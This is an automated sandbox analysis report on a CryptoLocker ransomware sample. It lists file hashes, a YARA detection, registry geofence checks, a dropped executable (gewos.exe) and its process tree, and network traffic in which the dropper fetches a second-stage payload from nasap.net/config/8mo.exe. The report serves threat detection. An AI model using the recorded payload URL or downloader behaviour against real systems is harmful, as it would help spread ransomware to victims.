678cb015766ef42bfb1fb94f72dbe5c904aaea1ad99461b92d3447188c202fc8

Analysis

max time kernel
143s
max time network
151s
platform
windows10-2004_x64
resource
win10v2004-20240221-en
resource tags

arch:x64arch:x86image:win10v2004-20240221-enlocale:en-usos:windows10-2004-x64system
submitted
25/02/2024, 02:27 UTC

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General

Target

2024-02-25_2220829d980abd0ac0e2efcc96e03306_cryptolocker.exe
Size

43KB
MD5

2220829d980abd0ac0e2efcc96e03306
SHA1

b7e945f0b4f49d2f71a78d06f3e8bface7acf59e
SHA256

678cb015766ef42bfb1fb94f72dbe5c904aaea1ad99461b92d3447188c202fc8
SHA512

c6d65ece8ccaa0d98746358a26f92602bfb2d550c0770227a5399f5589f9ad2f761105d5a3664f716ee77be1caab4469955a7766cc6e35bdf0180e7d5ec06296
SSDEEP

768:btB9g/WItCSsAGjX7r3BPOMHocM4vUUOmJ+96eg1lL:btB9g/xtCSKfxLIcMzUw96DL

Score

9^/10

Malware Config

Signatures

Detection of CryptoLocker Variants 1 IoCs

resource	yara_rule
behavioral2/files/0x0006000000023115-12.dat	CryptoLocker_rule2

Checks computer location settings 2 TTPs 2 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-3844919115-497234255-166257750-1000\Control Panel\International\Geo\Nation	2024-02-25_2220829d980abd0ac0e2efcc96e03306_cryptolocker.exe
Key value queried	\REGISTRY\USER\S-1-5-21-3844919115-497234255-166257750-1000\Control Panel\International\Geo\Nation	gewos.exe

Executes dropped EXE 1 IoCs

pid	Process
4988	gewos.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious use of WriteProcessMemory 3 IoCs

description	pid	Process	procid_target
PID 4592 wrote to memory of 4988	4592	2024-02-25_2220829d980abd0ac0e2efcc96e03306_cryptolocker.exe	86
PID 4592 wrote to memory of 4988	4592	2024-02-25_2220829d980abd0ac0e2efcc96e03306_cryptolocker.exe	86
PID 4592 wrote to memory of 4988	4592	2024-02-25_2220829d980abd0ac0e2efcc96e03306_cryptolocker.exe	86

C:\Users\Admin\AppData\Local\Temp\2024-02-25_2220829d980abd0ac0e2efcc96e03306_cryptolocker.exe
"C:\Users\Admin\AppData\Local\Temp\2024-02-25_2220829d980abd0ac0e2efcc96e03306_cryptolocker.exe"
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:4592
- C:\Users\Admin\AppData\Local\Temp\gewos.exe
  "C:\Users\Admin\AppData\Local\Temp\gewos.exe"
  2⤵
  - Checks computer location settings
  - Executes dropped EXE
  PID:4988

Network

DNS

76.32.126.40.in-addr.arpa

Remote address:

8.8.8.8:53

Request

76.32.126.40.in-addr.arpa

IN PTR

Response
DNS

240.221.184.93.in-addr.arpa

Remote address:

8.8.8.8:53

Request

240.221.184.93.in-addr.arpa

IN PTR

Response
DNS

26.35.223.20.in-addr.arpa

Remote address:

8.8.8.8:53

Request

26.35.223.20.in-addr.arpa

IN PTR

Response
DNS

nasap.net

gewos.exe

Remote address:

8.8.8.8:53

Request

nasap.net

IN A

Response

nasap.net

IN A

35.212.119.5
GET

https://nasap.net/config/8mo.exe

gewos.exe

Remote address:

35.212.119.5:443

Request

GET /config/8mo.exe HTTP/1.1
Accept: text/*, application/*
User-Agent: Updates downloader
Host: nasap.net
Cache-Control: no-cache

Response

HTTP/1.1 301 Moved Permanently

Server: nginx
Date: Sun, 25 Feb 2024 02:27:21 GMT
Content-Type: text/html; charset=UTF-8
Transfer-Encoding: chunked
Connection: keep-alive
Expires: Wed, 11 Jan 1984 05:00:00 GMT
Cache-Control: no-cache, must-revalidate, max-age=0
X-Cache-Enabled: False
X-Redirect-By: WordPress
Location: https://www.nasap.net/config/8mo.exe
X-Httpd: 1
Host-Header: 6b7412fb82ca5edfd0917e3957f05d89
X-Proxy-Cache: MISS
X-Proxy-Cache-Info: W301 NC:000000 UP:
DNS

5.119.212.35.in-addr.arpa

Remote address:

8.8.8.8:53

Request

5.119.212.35.in-addr.arpa

IN PTR

Response

5.119.212.35.in-addr.arpa

IN PTR

511921235bcgoogleusercontentcom
DNS

226.20.18.104.in-addr.arpa

Remote address:

8.8.8.8:53

Request

226.20.18.104.in-addr.arpa

IN PTR

Response
DNS

www.nasap.net

gewos.exe

Remote address:

8.8.8.8:53

Request

www.nasap.net

IN A

Response

www.nasap.net

IN CNAME

nasap.net

nasap.net

IN A

35.212.119.5
GET

https://www.nasap.net/config/8mo.exe

gewos.exe

Remote address:

35.212.119.5:443

Request

GET /config/8mo.exe HTTP/1.1
Accept: text/*, application/*
User-Agent: Updates downloader
Cache-Control: no-cache
Host: www.nasap.net
Connection: Keep-Alive

Response

HTTP/1.1 404 Not Found

Server: nginx
Date: Sun, 25 Feb 2024 02:27:22 GMT
Content-Type: text/html; charset=UTF-8
Transfer-Encoding: chunked
Connection: keep-alive
Vary: Accept-Encoding
Expires: Wed, 11 Jan 1984 05:00:00 GMT
Cache-Control: no-cache, must-revalidate, max-age=0
X-Cache-Enabled: False
Link: <https://www.nasap.net/index.php/wp-json/>; rel="https://api.w.org/"
X-Httpd: 1
Host-Header: 6b7412fb82ca5edfd0917e3957f05d89
X-Proxy-Cache: MISS
X-Proxy-Cache-Info: W NC:000000 UP:
DNS

26.165.165.52.in-addr.arpa

Remote address:

8.8.8.8:53

Request

26.165.165.52.in-addr.arpa

IN PTR

Response
DNS

171.39.242.20.in-addr.arpa

Remote address:

8.8.8.8:53

Request

171.39.242.20.in-addr.arpa

IN PTR

Response
DNS

217.135.221.88.in-addr.arpa

Remote address:

8.8.8.8:53

Request

217.135.221.88.in-addr.arpa

IN PTR

Response

217.135.221.88.in-addr.arpa

IN PTR

a88-221-135-217deploystaticakamaitechnologiescom
DNS

194.178.17.96.in-addr.arpa

Remote address:

8.8.8.8:53

Request

194.178.17.96.in-addr.arpa

IN PTR

Response

194.178.17.96.in-addr.arpa

IN PTR

a96-17-178-194deploystaticakamaitechnologiescom
DNS

48.229.111.52.in-addr.arpa

Remote address:

8.8.8.8:53

Request

48.229.111.52.in-addr.arpa

IN PTR

Response
DNS

8.179.89.13.in-addr.arpa

Remote address:

8.8.8.8:53

Request

8.179.89.13.in-addr.arpa

IN PTR

Response

35.212.119.5:443

https://nasap.net/config/8mo.exe

tls, http

gewos.exe

1.1kB
5.7kB
13
10

HTTP Request

GET https://nasap.net/config/8mo.exe

HTTP Response

301
35.212.119.5:443

https://www.nasap.net/config/8mo.exe

tls, http

gewos.exe

3.6kB
81.1kB
67
64

HTTP Request

GET https://www.nasap.net/config/8mo.exe

HTTP Response

404

8.8.8.8:53

76.32.126.40.in-addr.arpa

dns

71 B
157 B
1
1

DNS Request

76.32.126.40.in-addr.arpa
8.8.8.8:53

240.221.184.93.in-addr.arpa

dns

73 B
144 B
1
1

DNS Request

240.221.184.93.in-addr.arpa
8.8.8.8:53

26.35.223.20.in-addr.arpa

dns

71 B
157 B
1
1

DNS Request

26.35.223.20.in-addr.arpa
8.8.8.8:53

nasap.net

dns

gewos.exe

55 B
71 B
1
1

DNS Request

nasap.net

DNS Response

35.212.119.5
8.8.8.8:53

5.119.212.35.in-addr.arpa

dns

71 B
122 B
1
1

DNS Request

5.119.212.35.in-addr.arpa
8.8.8.8:53

226.20.18.104.in-addr.arpa

dns

72 B
134 B
1
1

DNS Request

226.20.18.104.in-addr.arpa
8.8.8.8:53

www.nasap.net

dns

gewos.exe

59 B
89 B
1
1

DNS Request

www.nasap.net

DNS Response

35.212.119.5
8.8.8.8:53

26.165.165.52.in-addr.arpa

dns

72 B
146 B
1
1

DNS Request

26.165.165.52.in-addr.arpa
8.8.8.8:53

171.39.242.20.in-addr.arpa

dns

72 B
158 B
1
1

DNS Request

171.39.242.20.in-addr.arpa
8.8.8.8:53

217.135.221.88.in-addr.arpa

dns

73 B
139 B
1
1

DNS Request

217.135.221.88.in-addr.arpa
8.8.8.8:53

194.178.17.96.in-addr.arpa

dns

72 B
137 B
1
1

DNS Request

194.178.17.96.in-addr.arpa
8.8.8.8:53

48.229.111.52.in-addr.arpa

dns

72 B
158 B
1
1

DNS Request

48.229.111.52.in-addr.arpa
8.8.8.8:53

8.179.89.13.in-addr.arpa

dns

70 B
144 B
1
1

DNS Request

8.179.89.13.in-addr.arpa

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\gewos.exe

Filesize
43KB

MD5
bd5c09f7c2dc540c17b343483cc483f4

SHA1
07d8d9da799d0bbb903db9f05f47ae31968a49af

SHA256
20a3d29a322bb13daf9e908a91ed1e932b3c9e36e828a71e3b34a6b02e6d2e5e

SHA512
17811433959f6132810ea8b4e8f066a5a86ed07d9ecd5c128f25fde7e6f8a21b6a93e65fc6ebf9ee6f8395be68f92c0a7ebbeea3e745653b9447249083eedaf1

Download Submit
memory/4592-0-0x0000000002340000-0x0000000002346000-memory.dmp

Filesize
24KB

Download
memory/4592-1-0x0000000002340000-0x0000000002346000-memory.dmp

Filesize
24KB

Download
memory/4592-2-0x0000000000400000-0x0000000000406000-memory.dmp

Filesize
24KB

Download
memory/4988-20-0x0000000002250000-0x0000000002256000-memory.dmp

Filesize
24KB

Download

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

HTTP Request

HTTP Response

HTTP Request

HTTP Response

DNS Request

DNS Request

DNS Request

DNS Request

DNS Response

DNS Request

DNS Request

DNS Request

DNS Response

DNS Request

DNS Request

DNS Request

DNS Request

DNS Request

DNS Request

MITRE ATT&CK Enterprise v15

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